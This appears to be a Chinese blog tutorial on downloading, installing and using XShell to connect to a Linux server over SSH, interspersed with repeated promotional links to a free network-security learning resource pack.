一、 XShell的作用 XShell 是一种流行且简单的网络程序,旨在模拟虚拟终端。XShell可以在Windows界面下来访问远端不同系统下的服务器,从而比较好的达到远程控制终端的目的。它支持 RLOGIN、SFTP、SERIAL、TELNET、SSH2 和 SSH1,可以非常方便的对Linux主机进行远程管理。除此之外,其还有丰富的外观配色方案以及样式选择。 二、 下载XShell Xshell免费版官网下载地址:https://www.xshell.com/zh/free-for-home-school/
想要下载安装工具包的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.访问XShell官网,填写姓名和邮箱即可获取下载地址
2. 从邮箱复制链接下载
三、 安装XShell 双击运行XShell安装文件,并点击“下一步”
点击“我接受许可证协议中的条款”,点击“下一步”
点击“浏览”更改默认安装路径,点击“下一步”
软件默认安装到C盘,一般软件尽量不要安装到C盘,此处我安装到了D盘
直接点击“安装”
安装完成,点击“完成”
个人许可证,点击关闭即可
四、使用XShell连接Linux服务器 XShell初始化界面
点击“新建”,新建会话
填写会话信息
填写一个便于标识的名称
填写服务器的公网IP
点击用户身份验证
填写服务器的用户名和密码,之后点击“确定”
5.选中会话,点击“连接”
此时已经成功的的连接上了服务器,可以进行正常的命令操作 上图出现了一个警告“The remote SSH server rejected X11 forwarding request.”意思是“远程SSH服务器拒绝X11转发请求。”
此时是可以正常进行命令操作的,看着不舒服想去除的话,具体详细解决办法,请参考我的这篇文章 解决“WARNINGThe remote SSH server rejected X11 forwarding request.“警告
制作不易,有帮助的话还希望能给个点赞支持下,谢谢大家。
网络安全工程师企业级学习路线 如图片过大被平台压缩导致看不清的话,点击**CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享**
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以点击**CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享**
结语 网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。